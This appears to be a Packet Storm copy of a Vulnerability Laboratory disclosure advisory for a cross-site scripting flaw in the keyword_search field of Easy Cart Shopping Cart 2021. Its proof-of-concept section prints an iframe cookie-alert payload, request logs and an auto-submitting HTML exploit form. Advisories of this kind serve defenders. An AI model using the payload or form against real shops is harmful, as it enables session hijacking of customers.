what you don't know can hurt you

Easy Cart Shopping Cart 2021 Cross Site Scripting

Easy Cart Shopping Cart 2021 Cross Site Scripting
Posted Jan 5, 2022
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

Easy Cart Shopping Cart version 2021 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 88a378d8c274c8e35bc8508f8974e9c3641ec919c65d14f1430ee13662e27e08

Easy Cart Shopping Cart 2021 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Easy Cart Shopping Cart - (Search) Persistent Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2298


Release Date:
=============
2021-12-15


Vulnerability Laboratory ID (VL-ID):
====================================
2298


Common Vulnerability Scoring System:
====================================
5.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
A mobile-friendly, SEO optimized and easy-to-install (with a free installation also offered also on request) PHP shopping
cart script that can be used to add an e-commerce functionality to existing sites or to create simple online stores.
Easy Cart is a PHP script allowing to create a simple shopping cart website or integrate a shopping cart functionality
in an existing site-the users will be able to browse the products, add them in the cart and check out and make a payment.

(Copy of the Homepage:https://www.netartmedia.net/easy-cart )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cross site scripting web vulnerability in the Easy Cart Shopping Cart PHP Script.


Affected Product(s):
====================
NetArt Media
Product: Easy Cart Shopping Cart (v2021) - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Easy Cart Shopping Cart PHP Script.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The cross site scripting web vulnerability is located in the `keyword_search` parameter of the `index search` module.
Remote attackers without privileged access are able to inject own malicious script code in the search input field of
the index module post method request. The execution takes place in the results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable Input(s):
[+] Search (index)

Vulnerable Parameter(s):
[+] keyword_search


Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Payload
>"<iframe src=evil.source onload=alert(document.cookie)>


--- PoC Session Logs (POST) ---
https://easy-cart.localhost:8000/cart/index.php
Host: easy-cart.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin:https://easy-cart.localhost:8000
Connection: keep-alive
Referer:https://easy-cart.localhost:8000/cart/index.php
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885
page=products&proceed_search=1&keyword_search=>"<iframe src=evil.source onload=alert(document.cookie)>&amount=$299 - $549&only_picture=0
-
POST: HTTP/2.0 200 OK
server: Apache
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
vary: Accept-Encoding
content-encoding: gzip
content-length: 2496
content-type: text/html; charset=UTF-8
-
https://easy-cart.localhost:8000/cart/evil.source
Host: easy-cart.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:https://easy-cart.localhost:8000/cart/index.php
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885
-
GET: HTTP/2.0 200 OK
server: Apache
vary: Accept-Encoding
content-encoding: gzip
content-length: 703
content-type: text/html; charset=UTF-8



PoC: Exploit
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://easy-cart.localhost:8000/cart/index.php" method="post">
<input type="text" name="keyword_search" value="><iframe src=evil.source onload=alert(document.cookie)>"/>
</form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close